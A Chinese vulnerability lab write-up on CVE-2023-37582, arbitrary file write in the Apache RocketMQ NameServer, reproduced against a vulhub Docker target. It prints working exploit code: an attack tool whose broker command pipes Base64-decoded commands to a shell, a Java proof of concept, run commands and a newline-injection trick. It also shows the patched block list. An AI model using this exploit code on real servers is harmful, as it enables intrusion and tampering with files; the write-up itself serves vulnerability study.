本文最后更新于 2026年3月16日 晚上
一、漏洞基础信息(核心摘要)
项目
漏洞名称
【RocketMQ NameServer 任意文件写入漏洞】
CVE 编号
【CVE-2023-37582】
漏洞类型
【文件上传】
影响范围(版本)
【RocketMQ < 5.1.1版本】
漏洞危害等级
【高危】
核心利用逻辑
【该漏洞存在于RocketMQ的NameServer组件的配置更新功能中。通过向NameServer发送UPDATE_NAMESRV_CONFIG命令,攻击者可以修改configStorePath配置项及其内容,从而导致任意文件写入】
适用场景
【使用Rocket做消息队列的应用】
二、前提知识 (1)什么是消息队列 消息队列(Message Queue,MQ)是基于消息传递的异步通信中间件 ,核心作用是让分布式系统中的不同服务 / 组件之间,通过 “发送 - 存储 - 接收” 消息的方式实现解耦、异步通信,同时能应对流量波动、保障消息可靠传递 ,是分布式架构中解决服务协作问题的核心组件之一。
简单来说,消息队列就像现实中的快递柜 :发消息的服务(比如电商的下单服务)是 “寄件人”,把消息(比如下单指令)放到快递柜(队列)里就可以离开,不用等收件人(比如库存服务、支付服务)当场取件;收件人(消费服务)可以在自己空闲时从快递柜取件处理,快递柜还会保障包裹(消息)不会丢失、不会被重复取走。
NameServer (名称服务)
角色:一个轻量级的服务发现与路由中心。 功能:它维护着当前所有活跃的 Broker 集群信息,但自身不存储消息。Producer 和 Consumer 通过访问 NameServer 获取最新的 Broker 路由信息,从而知道该与哪台 Broker 通信。 特点:NameServer 之间无状态,可以任意部署多个节点形成集群,单个节点的宕机不影响整体服务。
Broker (消息代理)
角色:RocketMQ 的核心,负责消息的存储、投递和查询。 功能:接收来自 Producer 的消息,持久化到磁盘,并处理来自 Consumer 的消费请求。 特点:支持主从(Master/Slave)架构实现高可用。消息会先写入 Master,然后同步或异步复制到 Slave,确保 Master 宕机后消息不丢失,并可由 Slave 继续提供服务。
Producer (生产者)
角色:消息的发送方。 功能:从 NameServer 获取 Topic 的路由信息,与目标 Broker 建立连接,并将业务消息发送出去。 特点:支持同步、异步、单向(Oneway)三种发送方式,并支持集群部署。
Consumer (消费者)
角色:消息的接收方。 功能:从 NameServer 获取 Topic 的路由信息,与 Broker 建立连接,拉取并消费消息。 特点:支持集群消费(同一 Consumer Group 内的多个消费者共同消费一个 Topic 的消息,每条消息只被投递给组内一个消费者)和广播消费(消息被投递给所有订阅该 Topic 的消费者)两种模式。
1、消息队列的核心角色 任何消息队列的工作流程,都围绕 4 个核心角色展开,逻辑简单且固定:
生产者(Producer) :产生并发送消息的服务 / 应用 / 组件,负责将消息推送到消息队列,发送后无需关注后续处理结果。
消费者(Consumer) :从消息队列中获取并处理消息的服务 / 应用 / 组件,可单个或多个消费者同时消费,支持负载均衡。
消息队列(Queue/Topic) :存储消息的容器,是生产者和消费者之间的 “中间层”,隔离两者的直接依赖;不同 MQ 的存储载体分 ** 队列(点对点)和 主题(发布订阅)** 两种核心模式。
消息(Message) :生产者和消费者之间传递的核心数据,通常包含消息体(业务数据,如下单的订单号、商品 ID) 、消息属性(优先级、过期时间、唯一标识等) 。
2、消息队列的两大核心通信模式 这是 MQ 的基础使用形态,适配不同的业务协作需求:
点对点模式(P2P)
特点:一个消息只能被一个消费者 消费,消息消费后会从队列中删除,即使有多个消费者监听同一队列,也会按规则(如轮询)分配消息,避免重复处理。
适用:一对一的任务分发,比如订单生成后,单个库存服务处理扣减库存。
发布订阅模式(Pub/Sub)
特点:生产者将消息发送到主题(Topic) ,所有订阅了该主题的消费者都能收到同一条消息,实现 “一条消息,多端消费”。
适用:一对多的消息同步,比如电商下单后,支付服务、物流服务、短信通知服务都需要获取下单消息,各自处理对应业务。
3、消息队列的典型使用场景 除了电商下单,MQ 在分布式系统中还有大量落地场景,几乎覆盖所有高可用、高并发的业务:
异步任务处理:短信 / 邮件通知、日志处理、数据统计分析;
流量削峰:秒杀、抢购、电商大促、春运抢票等突发高流量场景;
跨系统通信:微服务之间、异构系统(如 Java 和 Python 服务)之间的异步数据同步;
日志收集:将各个服务的日志以消息形式发送到 MQ,由日志分析服务统一消费、存储、分析(如 ELK 架构结合 Kafka);
分布式事务:结合本地消息表,实现分布式系统中的最终一致性(如 Seata 的 AT 模式、RocketMQ 的事务消息);
事件驱动架构:以 “事件(消息)” 为核心,实现服务的动态协作,比如商品价格变更后,推送给购物车、商品推荐、促销服务
4、主流的消息队列产品及特点 市面上的 MQ 产品各有侧重,适配不同的业务场景和技术架构,核心主流产品对比如下:
产品
核心特点
适用场景
缺点
RabbitMQ
基于 Erlang 开发,轻量、易部署,支持多种协议(AMQP),路由规则丰富,生态完善
中小型系统、轻量异步场景、企业级应用
高吞吐场景下性能一般
Kafka
基于 Scala/Java 开发,高吞吐、低延迟,持久化能力强,适合大数据场景
日志收集、流处理、高吞吐削峰、大数据
功能相对简单,事务支持弱
RocketMQ
阿里开源,基于 Java 开发,高可用、高吞吐,事务消息、顺序消息支持完善,金融级可靠性
分布式微服务、电商、金融、大促场景
生态比 RabbitMQ/Kafka 弱
ActiveMQ
老牌 MQ,基于 Java 开发,支持多种协议,易上手
传统项目、中小型异步场景
高并发下性能瓶颈明显,逐渐被替代
(2)什么是Apache RocketMQ Apache RocketMQ 是一款低延迟、高并发、高可用、高可靠的分布式消息与流处理平台。它诞生于阿里巴巴,经历了“双十一”等海量业务场景的严苛考验,尤其在电商、金融、物联网等领域表现出色。其设计目标是处理万亿级别的消息,并提供丰富的特性以满足各种复杂的业务需求。
官方网站: https://rocketmq.apache.org/ GitHub: https://github.com/apache/rocketmq
使用RocketMQ的JAVA简单实例:
环境准备
首先,你需要一个运行中的 RocketMQ 服务。可以参考官方文档 下载并启动 NameServer 和 Broker。
2.添加 Maven 依赖
在你的 Java 项目中引入客户端依赖:
1 2 3 4 5 <dependency > <groupId > org.apache.rocketmq</groupId > <artifactId > rocketmq-client</artifactId > <version > 5.1.0</version > </dependency >
编写生产者 (Producer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import org.apache.rocketmq.client.producer.DefaultMQProducer;import org.apache.rocketmq.client.producer.SendResult;import org.apache.rocketmq.common.message.Message;import java.nio.charset.StandardCharsets;public class SimpleProducer { public static void main (String[] args) throws Exception { DefaultMQProducer producer = new DefaultMQProducer ("my-producer-group" ); producer.setNamesrvAddr("localhost:9876" ); producer.start(); String topic = "MyTestTopic" ; String tags = "TagA" ; String content = "Hello, RocketMQ!" ; Message msg = new Message (topic, tags, content.getBytes(StandardCharsets.UTF_8)); SendResult sendResult = producer.send(msg); System.out.printf("Message Sent: %s%n" , sendResult); producer.shutdown(); } }
编写消费者 (Consumer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;import org.apache.rocketmq.client.consumer.listener.ConsumeConcurrentlyStatus;import org.apache.rocketmq.client.consumer.listener.MessageListenerConcurrently;import org.apache.rocketmq.common.message.MessageExt;public class SimpleConsumer { public static void main (String[] args) throws Exception { DefaultMQPushConsumer consumer = new DefaultMQPushConsumer ("my-consumer-group" ); consumer.setNamesrvAddr("localhost:9876" ); consumer.subscribe("MyTestTopic" , "*" ); consumer.registerMessageListener((MessageListenerConcurrently) (msgs, context) -> { for (MessageExt msg : msgs) { System.out.printf("Received Message: %s %s %s %n" , msg.getMsgId(), new String (msg.getBody()), Thread.currentThread().getName()); } return ConsumeConcurrentlyStatus.CONSUME_SUCCESS; }); consumer.start(); System.out.printf("Consumer Started.%n" ); } }
三、靶机环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ┌──(kali💋kali)-[~/vulhub/ rocketmq/CVE-2023 -37582 ] └─$ cat docker-compose.ymlservices: namesrv: #服务器名称 image: vulhub/rocketmq:5.1 .0 ports: - 9876 :9876 - 5005 :5005 command: ["mqnamesrv" ] broker: #消息代理 image: vulhub/rocketmq:5.1 .0 ports: - 10911 :10911 command: ["mqbroker" , "-n" , "namesrv:9876" , "--enable-proxy" ]
四、使用工具 rocketmq-attack A tool for testing RocketMQ vulnerabilities.
工具源码:(kotlin写的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 package org.vulhubimport com.github.ajalt.clikt.core.CliktCommandimport com.github.ajalt.clikt.core.subcommandsimport com.github.ajalt.clikt.parameters.options.defaultimport com.github.ajalt.clikt.parameters.options.optionimport com.github.ajalt.clikt.parameters.options.requiredimport com.github.ajalt.clikt.parameters.options.helpimport org.apache.rocketmq.tools.admin.DefaultMQAdminExtimport java.net.InetAddressimport java.util.Base64import java.util.Propertiesimport java.util.ArrayListclass RocketMQAttack : CliktCommand ( name = "rocketmq-attack" , help = "A tool for executing commands on RocketMQ brokers and nameservers" ) { override fun run () = Unit }abstract class BaseAttackCommand ( name: String, help: String ) : CliktCommand(name = name, help = help) { protected fun getCmd (cmd: String ) : String { val cmdBase = Base64.getEncoder().encodeToString(cmd.toByteArray()) return "-c \$@|sh . echo echo \"$cmdBase \"|base64 -d|sh -i;" } }class AttackBroker : BaseAttackCommand ( name = "AttackBroker" , help = "Execute commands on RocketMQ broker (CVE-2023-33246)" ) { private val target by option("-t" , "--target" ) .help("Target address (host:port)" ) .required() private val cmd by option("-c" , "--cmd" ) .help("Command to execute" ) .required() override fun run () { echo("Executing command $cmd on broker $target " ) val admin = DefaultMQAdminExt() try { admin.start() val props = Properties().apply { setProperty("rocketmqHome" , getCmd(cmd)) setProperty("filterServerNums" , "1" ) } admin.updateBrokerConfig(target, props) val brokerConfig = admin.getBrokerConfig(target) echo("Command executed successfully" ) echo("rocketmqHome: ${brokerConfig.getProperty("rocketmqHome" )} " ) echo("filterServerNums: ${brokerConfig.getProperty("filterServerNums" )} " ) } catch (e: Exception) { echo("Error: ${e.message} " , err = true ) System.exit(1 ) } finally { admin.shutdown() } } }class AttackNamesrv : BaseAttackCommand ( name = "AttackNamesrv" , help = "Write arbitrary file to RocketMQ nameserver (CVE-2023-37582)" ) { private val target by option("-t" , "--target" ) .help("Target address (host:port)" ) .required() private val file by option("-f" , "--file" ) .help("Target file path to write" ) .required() private val data by option("-d" , "--data" ) .help("Content to write into the file" ) .required() override fun run () { echo("Attack name server $target " ) echo("Will write content to file: $file " ) val admin = DefaultMQAdminExt() try { admin.start() val props = Properties().apply { setProperty("configStorePath" , file) setProperty("productEnvName" , "center\\n$data " ) } admin.updateNameServerConfig(props, arrayOf(target).toList()) } finally { admin.shutdown() } } }fun main (args: Array <String >) = RocketMQAttack() .subcommands(AttackBroker(), AttackNamesrv()) .main(args)
五、漏洞复现 使用这个工具 来复现漏洞并写入任意文件:
1 2 wget https://github.com/vulhub/rocketmq-attack/releases/download/1.1/rocketmq-attack-1.1-SNAPSHOT.jar java -jar rocketmq-attack-1.1-SNAPSHOT.jar AttackNamesrv --target localhost:9876 --file "/tmp/success" --data "111111"
执行完成后,可以验证文件是否写入成功:
1 2 sudo docker-compose exec namesrv bash cat /tmp/success
成功写入
六、漏洞再分析 1.源码分析 可以看到官方对于ApacheRocketMQ的修复,但没有修复完全,仍旧存在漏洞
下载源码
https://github.com/apache/rocketmq.git
打开源码的namesrv/src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java
旧版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public RemotingCommand updateConfig (ChannelHandlerContext ctx, RemotingCommand request) { final RemotingCommand response = RemotingCommand.createResponseCommand(null ); final Map<String, String> requestBody = decodeRequestBody(request); if (requestBody.containsKey("kvConfigPath" ) || requestBody.containsKey("configStorePathName" )) { response.setCode(ResponseCode.PARAMETER_ERROR); response.setRemark("Forbidden to modify sensitive config" ); return response; } for (Map.Entry<String, String> entry : requestBody.entrySet()) { final String key = entry.getKey(); final String value = entry.getValue(); if ("configStorePath" .equals(key)) { this .namesrvConfig.setStorePathConfig(value); } else { this .namesrvConfig.putConfig(key, value); } } this .namesrvConfig.persist(); response.setCode(ResponseCode.SUCCESS); response.setRemark(null ); return response; }
补充:persist()方法的核心逻辑(为什么能写入文件)
namesrvConfig.persist()是实现 “任意文件写入” 的最后一步,它的核心源码更简单,就是把配置内容写入指定路径:
1 2 3 4 5 6 7 8 9 10 11 12 public void persist () throws IOException { String content = this .encode(true ); File file = new File (this .storePathConfig); try (FileOutputStream fos = new FileOutputStream (file); OutputStreamWriter osw = new OutputStreamWriter (fos, StandardCharsets.UTF_8)) { osw.write(content); } }
新版本: (截取部分代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 protected Set<String> configBlackList = new HashSet <>(); public DefaultRequestProcessor (NamesrvController namesrvController) { this .namesrvController = namesrvController; initConfigBlackList(); } private void initConfigBlackList () { configBlackList.add("configBlackList" ); configBlackList.add("configStorePath" ); configBlackList.add("kvConfigPath" ); configBlackList.add("rocketmqHome" ); String[] configArray = namesrvController.getNamesrvConfig().getConfigBlackList().split(";" ); configBlackList.addAll(Arrays.asList(configArray)); }private RemotingCommand updateConfig (ChannelHandlerContext ctx, RemotingCommand request) { if (ctx != null ) { log.info("updateConfig called by {}" , RemotingHelper.parseChannelRemoteAddr(ctx.channel())); } final RemotingCommand response = RemotingCommand.createResponseCommand(null ); byte [] body = request.getBody(); if (body != null ) { String bodyStr; try { bodyStr = new String (body, MixAll.DEFAULT_CHARSET); } catch (UnsupportedEncodingException e) { log.error("updateConfig byte array to string error: " , e); response.setCode(ResponseCode.SYSTEM_ERROR); response.setRemark("UnsupportedEncodingException " + e); return response; } Properties properties = MixAll.string2Properties(bodyStr); if (properties == null ) { log.error("updateConfig MixAll.string2Properties error {}" , bodyStr); response.setCode(ResponseCode.SYSTEM_ERROR); response.setRemark("string2Properties error" ); return response; } if (validateBlackListConfigExist(properties)) { response.setCode(ResponseCode.NO_PERMISSION); response.setRemark("Can not update config in black list." ); return response; } this .namesrvController.getConfiguration().update(properties); } response.setCode(ResponseCode.SUCCESS); response.setRemark(null ); return response; } private boolean validateBlackListConfigExist (Properties properties) { for (String blackConfig : configBlackList) { if (properties.containsKey(blackConfig)) { return true ; } } return false ; }
可以看出旧版本和新版本的核心区别在于对非法参数的过滤,新版本不仅对信息进行了过滤 ,还对方法进行了重构,让对RocketMQ的设置更安全
2.核心攻击流程分析 1 2 3 4 5 6 7 A [TCP连接建立:攻击者连接9876端口] --> B [Netty接收数据:NameServer的NettyRemotingServer监听端口] B --> C[协议解码:RemotingCommand.decode()解析二进制包为RemotingCommand对象] C --> D[请求分发:NettyRemotingServer.processRequest()根据请求码路由] D --> E[请求码匹配:判断请求码=103(UPDATE_NAMESRV_CONFIG)] E --> F[处理器路由:交给DefaultRequestProcessor处理] F --> G [核心方法执行:调用DefaultRequestProcessor.updateConfig()] G --> H[参数处理:修改configStorePath+持久化写文件]
3.模拟请求 Java 版 POC(基于 RocketMQ 官方客户端) POC仓库:https://gitee.com/aichihongshubaside_xiaolu/POC-CVE-2023-37582-JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.example</groupId > <artifactId > RocketMQ-attack</artifactId > <version > 1.0-SNAPSHOT</version > <properties > <maven.compiler.source > 8</maven.compiler.source > <maven.compiler.target > 8</maven.compiler.target > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > </properties > <dependencies > <dependency > <groupId > org.apache.rocketmq</groupId > <artifactId > rocketmq-tools</artifactId > <version > 4.9.0</version > </dependency > <dependency > <groupId > org.apache.rocketmq</groupId > <artifactId > rocketmq-client</artifactId > <version > 4.9.0</version > </dependency > </dependencies > <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-assembly-plugin</artifactId > <version > 2.5.5</version > <configuration > <archive > <manifest > <mainClass > org.example.Main</mainClass > </manifest > </archive > <descriptorRefs > <descriptorRef > jar-with-dependencies</descriptorRef > </descriptorRefs > </configuration > </plugin > </plugins > </build > </project >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package org.example;import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;import java.util.ArrayList;import java.util.List;import java.util.Properties;public class Main { public static void main (String[] args) { if (args.length < 3 ) { System.out.println("用法:" ); System.out.println(" java RocketMQPOC <目标NameServer地址> <写入文件路径> <测试内容>" ); System.out.println(" 示例:java RocketMQPOC 192.168.1.100:9876 /tmp/test_mq_poc.txt poc_test=success" ); return ; } String namesrvAddr = args[0 ]; String writePath = args[1 ]; String content = args[2 ]; DefaultMQAdminExt admin = new DefaultMQAdminExt (); admin.setNamesrvAddr(namesrvAddr); try { admin.start(); System.out.println("[+] 已连接到NameServer:" + namesrvAddr); Properties config = new Properties (); config.setProperty("configStorePath" ,writePath); config.setProperty("productEnvName" , "center\\n" + content); List<String> namesrvAddList = new ArrayList <>(); namesrvAddList.add(namesrvAddr); admin.updateNameServerConfig(config, namesrvAddList); System.out.println("[+] 请求发送成功!参数:" + config); System.out.println("[!] 请登录目标服务器检查文件:" + writePath); } catch (Exception e) { System.out.println("[-] 发送失败:" + e.getMessage()); if (e.getMessage().contains("black list" )) { System.out.println("[!] 目标版本已修复漏洞(黑名单拦截)" ); } } finally { admin.shutdown(); } } }
1 java -jar RocketMQ-attack-1.0-SNAPSHOT-jar-with-dependencies.jar localhost:9876 /tmp/testn.txt 111122233
注:为什么在传productEnvName时要传center\\n + centent?
举个例子:
如果 content 是 echo 'malicious code' > /tmp/evil.sh,那么最终写入文件的内容会是:
1 2 productEnvName=center echo 'malicious code' > /tmp/evil.sh
这样,你的恶意内容就不再是 productEnvName 的值,而是变成了文件中独立的一行,从而实现了任意文件内容写入 。这是一种注入换行符 的技巧,用来突破配置项的 key=value 格式限制,让攻击者可以写入任意内容(比如恶意脚本、配置文件等),而不是仅仅修改一个配置项的值。